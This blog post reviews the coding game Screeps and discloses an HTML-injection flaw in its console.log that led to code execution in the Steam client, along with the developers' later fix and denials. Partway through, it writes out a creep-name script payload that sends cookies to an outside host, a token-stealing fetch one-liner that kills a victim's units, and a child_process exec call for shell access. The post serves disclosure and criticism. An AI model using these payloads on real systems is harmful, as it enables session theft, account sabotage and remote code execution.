Note: After this article went viral on X, Screeps fixed the exploit, though while continuing to deny that it ever posed a risk and claiming that it would be the player's fault if they fell victim to it. See the final section for more on their response.
If you've ever played real time strategy games, you've probably encountered it.
You've given your unit a simple task. "Collect wood from the forest". "Repair this building". "Attack that enemy".
Your unit proceeds to do what it was told in the dumbest possible way. While heading to the forest, it walks straight through an enemy camp that it could have easily gone around. While repairing the building, it chooses to stand in a fire the entire time. In its attempt to attack a retreating enemy, it doggedly follows that enemy halfway across the map and gets eaten by wolves.
"If only those incompetent game devs didn't give these units such a terrible AI", you think to yourself, "I wouldn't have to micromanage their movement and could focus on the interesting strategical decisions".
Screeps is a game that exists to show you just how much of a fool you are.
In most respects, Screeps is just like any other MMO RTS. You must gather resources, place buildings, spawn new units, and defend your colony from attack. Over time you can claim new land, build new bases, and try to take over the map. It's actually quite a simple game compared to most, with one exception: Your units do not come with an AI.
In Screeps (short for "Scripting Creeps"), you cannot click on a unit ("creep") and tell it what to do. If you place a building on the map, your builders will stand next to it and do nothing. There are no buttons to give your creeps instructions. Instead, you must write code to define their behavior.
The game world is divided into squares. Each square has a terrain type, can contain up to one creep, and can contain one or more buildings. Your code has access to the state of the world near your bases, and on each game tick your code must calculate a course of action for each creep, like "walk up one square" or "attempt to mine resources if there is one adjacent to you".
As your colony grows, you'll stop having time to place every building yourself. Not to worry! Your code can do that too. Same for spawning new creeps, claiming new territory, and everything else. With the right code, your colony will play itself with zero human input, expanding out across the world map autonomously.
It's a fascinating idea. A fully customizable game. No longer must you despair at your units doing stupid things because of some hardcoded AI that you have no control over. Now, you can watch them do stupid things that you know are 100% your fault, and you definitely could have avoided if you were smarter.
Screeps is for sale on Steam for $20. It is one of the best ways I have ever encountered for new coders to learn real programming skills. The API is dead simple and there's a tutorial that will get your creeps mining ore within a few minutes. There is then practically no ceiling to how complex your codebase can become as you try to make your colony more and more independent, and use better and better tactics in its inevitable clashes with the surrounding enemy colonies.
There is one small downside. If you join any of the multiplayer worlds, every other player in that world gains the potential ability to run arbitrary code on your computer.
In Multiplayer Screeps worlds, all of the code to progress the game runs on the server, including the AI for your units. A convenient interface allows you to push files that immediately deploy and start running on the next tick. But it takes a huge amount of work to create a fully autonomous colony; usually you'll start out just automating the simple tasks like resource collection, and you'll still want to place buildings and direct exploration parties yourself. Not to mention that after the 5th time two of your screeps get stuck facing each other such that neither can ever move again, you're really going to want some way to debug.
So the client helpfully provides a local console that mirrors your commands to the server to run on the next tick, and sends the output back to your console. This allows you to use it as a (very slow) remote console session to the environment in which your code is running. Over time you'll start to define your own shortcuts, like a single command you can enter in order to have your creeps mount a complex assault on a designated room. You'll also start to introduce logging to catch all the cases you haven't yet automated. One of your bases has run out of a particular resource due to an imbalance in your economy, one of your bases has been attacked, one of your neighbors has sent you a message. You can't maintain a large colony without sufficient intel.
Since Screeps uses out-of-the-box Javascript and there's little cosmetics to speak of, you'll generally use console.log statements to send yourself these notifications.
Here is the result if your code runs console.log("hello world") on each tick:
Wait, this is exciting. Your code is working! Let's add a little more emphasis with console.log("<i>hello world</i>"):
Screeps conveniently parses the HTML for you! How nice of them.
By the way, did you know that Screeps allows you to name your creeps? You can give them functional names like "Builder 1" and "Warrior 3", traditional names like "Alice" and "Bob", or cute, avant-guard names like "Robert <script>new Image().src=`codingismypassion.com?${document.cookie}`</script>".
This adds an exciting new level to the in-game tactics! If one of your neighbors has unwisely set their code to log the name of any creep that attacks one of their buildings, an unfortunate encounter with your aforementioned creep
Of course this is not really within the spirit of the game. Screeps is all about automation, and having to manually log into your opponent's account and sabotage their base by hand sounds like work. Much better to do something like t=localStorage.auth.replace(/"/g,"");fetch("/api/user/console",{method:"POST",headers:{"content-type":"application/json","x-token":t,"x-username":t},body:JSON.stringify({expression:"Object.values(Game.creeps).forEach(creep=>creep.suicide())",shard:window.location.hash.match(/shard\d+/)?.[0]})}) and have their colony instantly die upon contact with yours.
Now luckily Screeps is a browser game, so the damage here is limited.
Wait, no it isn't. Screeps is on Steam, and the native client reuses the browser code but with no sandboxing. nw.require('child_process').exec('your command here') will get you full command line access to the target machine.
So that's not great.
Of course the game devs were responsibly notified of this vulnerability on Github. They spent eleven months carefully considering the best response and decided on the following: "We do not see this as a serious security threat."
Much ink has been spilled in recent years about the risk of programmers being replaced with AI. My thoughts on the likelihood and valence of this outcome are complex, but one thing I am growing increasingly certain of is that there are some programmers for whom being replaced with AI would be a net benefit to society.
To be fair, the devs have a lot of other work on their hands.
Consider the UI. It's slow. Extremely slow. There's generally a 0.5-2 second lag after any input before the action occurs, and sometimes more.
This is not that big a deal, because most of your interaction with the game will not consist of actually using the client. You'll be alternating between writing code in your own IDE, watching your creeps move around and yelling "WHY ARE YOU DOING THAT", then back to writing code desperately trying to make them act less dumb.
One place where it is a serious issue is the world map. You need to be able to look around at surrounding rooms to see where resources and potential enemies are. But the map takes multiple seconds to load every time you navigate to it, then half a second to respond every time you drag your mouse to move around, and then multiple seconds after it moves to load in the new location. At times I've had it take more than 15 seconds to load, despite being on a fast internet connection. This borders on unusable, and you'll come to loathe every time you have to use it.
The UI is also missing basic functionality. If you want to place some flags (used to tell your units where to go), you can't do that from the world map. You have to go into the room in question, wait for it to load, place the flag, navigate back out to the world map, wait for it to load, and repeat. If you want to place 10 flags to mark out a path, expect this to take you multiple minutes. The search bar also doesn't work, so if you're looking around the map and forget where something is, uh, good luck finding it again.
(There are also multiple redundant world maps, for some reason? The "new" map has slightly better graphics, but isn't any faster to load, and is also totally broken; it renders the wrong terrain and doesn't show the location of my units. (There's a 'units' toggle, but pressing it actually makes unrelated map features disappear.) And in one of the funniest instances of untested game design I've come across, this map renders opponent units in a color of their choice; so if they choose the map background color, their units are invisible.)
The issues aren't limited to the UI. Each game tick was originally supposed to take around 1 second (itself much slower than the real time movement shown in the trailer), but in reality they usually take several times longer. (The Steam description was eventually updated to admit ticks take 2-5 seconds, trying to spin this slowness as somehow helping players debug their code.
The issues aren't even limited to the code! Screeps has documentation on all of the functions you can use to manipulate game objects. It does not seem to have been written by someone who actually plays the game, knows how it works, or has the first idea what information players would need from documentation. The entry on the "attack" function doesn't tell you how much damage it deals. Many entries are blatantly wrong, like one function that the document claims finds the optimal path between two points, but in reality uses a heuristic that will find much worse paths, resulting in your creeps unexpectedly dying of old age on the way. (Took me a while to debug that one.) There's a "survival mode" that is not mentioned anywhere in the docs. I have no idea how it works.
Luckily, with all the time the devs are saving on the security side of their application, they're hard at work fixing all of- actually all of these problems have existed for more than 5 years. The entire game is pretty much stagnant, despite charging a $10 a month subscription if you want to have a fighting chance in the main multiplayer world.
So what are the devs doing? Seems to be, whatever has the highest monetization/effort ratio. If you look at the updates they post on Steam, they're mostly about things like seasonal worlds that require you to pay for "access keys" with real money, and visual decorations that also cost real money, and simplistic tack-on features (like the aptly named "power creep") that make the game strategically worse, but are big and flashy and allow them to say "look we added this cool new thing". (The core gameplay was also made partially pay-to-win, as there's a market in which you can turn real money into the in-game resources you need to expand.)
(Oh yeah, and defrauding their customers. I posted a review of Screeps on Steam that warned people about the remote code execution vulnerability in the client. After the review started getting voted helpful, one of the game developers, "Artch", replied to my review claiming no such vulnerability existed.)
They're also working on a whole new game, Screeps: Arena. Having learned from their inability to make a functional world map, Screeps: Arena doesn't have a persistent world, but rather is a series of short PvP matches between players, with more advanced movement and combat options for the individual units. I haven't checked how much it costs to play.
Despite all this, Screeps is a popular game. It's rated "very positive" on Steam with almost 2000 reviews Savvy users can of course protect themselves by either studiously avoiding ever logging any attacker-controller string, or overwriting the native console.log function with one that sanitizes the HTML.
(Many of the reviews do point out how slow and buggy it is, to which the developers copy-paste the same reply advertizing their new Arena game as a "better fit".)
I think this speaks to just how good the core concept is. Even with utterly incompetent game management
There is one ray of hope: The server code is open-source, and alternative clients have already been created by the community. You can play Screeps without giving a cent to the managing company or downloading any of their malware, and perhaps in the future a more responsible individual or group could take over development of the game.
I really hope someone does.
Epilogue
My post about this article went viral on Twitter, and it got the attention of the Screeps devs. So, a few updates.
First, they wanted me to clarify that they are not making a huge amount of money on the game. They didn't share exactly how much, but implied my $1 million estimate was the correct order of magnitude. This is over ten years, for a 3-person dev team, which is far below a normal dev salary. I acknowledge this is all true, I don't think the article implied otherwise, but don't mind stating it more explicitly here, and I edited the article title to remove focus from the financial aspect. My criticism, which I stand by, is that they seem to focus far more effort on things they can charge for than on making the core game actually, like, work.
They also mentioned that they had been having significant financial troubles due to the sanctions on Russia and the dev team having to relocate. Ok.
As for the RCE, the devs rolled out a hotfix in a few hours, making console.log just log strings, and adding a console.logUnsafe method for those who want HTML. I appreciate their rapid response, and am glad that players are no longer vulnerable.
However.
In all of their communications about this incident, they continue to deny that this was ever a risk, deny that it should have been brought up, deny that it would be their fault if it were ever exploited, deny that they tried to hide this issue from their players, and make other blatantly false statements about the situation.
On Github, they reopened the issue and replied:
I want to clarify our position once again. We do not in any way downplay the seriousness of any vulnerabilities, and we carefully monitor and investigate both bug reports and in-game events. While we still believe that the lack of filtering in console.log is not a vulnerability per se, since it concerns the player's own code, which they are expected to understand, we have never considered this situation to be ideal. We simply did not have enough resources to address it earlier, because we are a small team (2 developers), we have very limited resources, and we were busy with another project. In addition, the threat posed by this issue was minimal, since a successful exploit would require a fairly complex combination of circumstances, including a certain willingness on the part of the potential victim to become a victim. I want to emphasize that we have not received a single report of this approach being actually used by any player to harm someone.
Nevertheless, we have always had a plan to implement a fix (this issue was not closed by us), but we had not yet found the time to properly formalize it, and we were collecting information about possible attack vectors, as described above. Since this particular situation has now received a lot of public attention, we decided that the time has come to make a change that probably should have been made earlier: to split the methods into console.log and console.logUnsafe. The former will escape HTML entities on the server side, while the latter leaves all responsibility to you. We hope that this allows us to close this matter. We apologize for any possible misunderstanding regarding our position and our attitude toward issues of this kind.
They also sent out an email to their playerbase notifying them of the change, edited their reply to my review on Steam, and responded on Twitter, saying:
Let us further clarify our position: we continue to believe that this is not a "vulnerability" as such, because it concerns the player's own code that they run themselves and are expected to understand. We have not received a single report that such a specific combination of circumstances as described in this article has ever happened to anyone and caused harm. Describing the situation in the way it is described here is, at the very least, a clickbait exaggeration, and at worst, malicious defamation intended to cause reputational damage.
Nevertheless, in order to protect both players and our own reputation, we have already made a change that should close this matter. Read more [on Github.]
First, the claim that this has never been abused was contradicted by an experienced player on the Screeps Discord, who said that this had resulted in some bans a few years ago. But I can't verify that, it's possible the player was misremembering.
Second, the claim that they lacked the resources to fix this at any point over the past several years is contradicted by the fact that they were able to roll out a hotfix in a couple hours when this post went live. Also, to anyone who knows programming: this is one one-line fix. A player actually submitted a pull request to fix this issue a few years back, which the developers rejected.
Apparently, the developers intentionally added this vulnerability to the game because some players had asked for the ability to log styled text. I asked how to square this with the claim that they "always had a plan to fix this", and got no response. (This also contradicts their reply on Github, where they confusingly claim that each playing "having their own copy of game objects" makes this not a serious security threat.)
Most interesting though is the claim that this requires "a certain willingness on the part of the potential victim to become a victim". A few players also made the same claim; that it would be the user's fault if they logged an unsafe string. The primary developer, Artem, compared it to copy-pasting untrusted code into the Javascript console on any website.
This is utter nonsense. console.log has a well-understood functionality across all normal Javascript implementations, and that function is to log a string; not to parse HTML. The Screeps developers took a normally-safe function, secretly modified it to be dangerous, and did not tell anyone about this. (Not even on the documentation page specifically about console logging.)
A fitting analogy for non-programmers would be, imagine if there were one particular kind of unit in Starcraft that, if you trained it, let people hack your computer. And when pointed out, the game designers said "well this is self-inflicted, the players all chose to train that unit".
Of course multiple players in the Screeps discord chimed in to say "wait, I didn't know that, my code was vulnerable to this". Indeed, the original Github issue about this vulnerability 2 years prior mentions that the Overmind is hackable this way; the Overmind being one of the most sophisticated and popular Screeps bots, with more than 600 stars on Github.
Yet Artem claimed to be unaware that anyone was doing this, saying "Of course there are some players who are not aware. But then it's unlikely those players console.log much HTML, and especially HTML entities of other (!) players. It's just so little chance that it actually never happened in reality (we monitored this when we were investigating this issue)." and "It just can't. Never happened, never will, too low chance.".
Oh, did I mention that the official Screeps documentation page includes - as an example of how players are supposed to use the console.log function - a code snippet that logs the name of an enemy creep?

These weren't the only instance of dishonest or incredibly obtuse behavior from the devs. Their response to my original Steam review said, verbatim: "There is no XSS or other vulnerabilities in the game client." After this article was published, this response was edited to have text similar to the Github reply. In the ensuing discord discussion, I asked the dev (who was now admitting that a vulnerability technically existed, but held it was too unlikely in practice to be a problem) whether they stood by their first response. They proceeded to argue that their reply was technically accurate because the vulnerability is not an XSS, it was a different type of vulnerability. I pointed out that they had said "or other vulnerabilities" - no reply.
Lastly, I must say I did not appreciate being accused, as I was several times, of being a clickbait engagement-seeking opportunist. Three players on the discord alleged that I had just stumbled across the issue and used it as a pretext to get clicks to my blog. Artem told me that I should message him on discord rather than writing an article and posting it publicly.
But I was the one who originally reported the issue! 2 years ago! When that was not acted upon, I sent the devs a direct email, which was ignored. Multiple other players reported the same issue, pinged the devs on GH, etc. all to no avail. I left a review on Steam hoping it would help warn players away there, but the devs replied with a blatant lie about the vulnerability not existing. I have no idea what else these people think I should have done before going more public with this article.
Whatever. It is fixed now, which was the primary goal of my writing this. I have no idea why the devs insisted on making such a big deal out of a vulnerability that would have been trivial for them to fix at any time. Nor why several enfranchised players seemed offended that I would want their game to be safe to play, and resentful of my bringing this to light. Truly a bizarre experience.
Despite all this, I'll probably keep playing Screeps. It really is a very good game.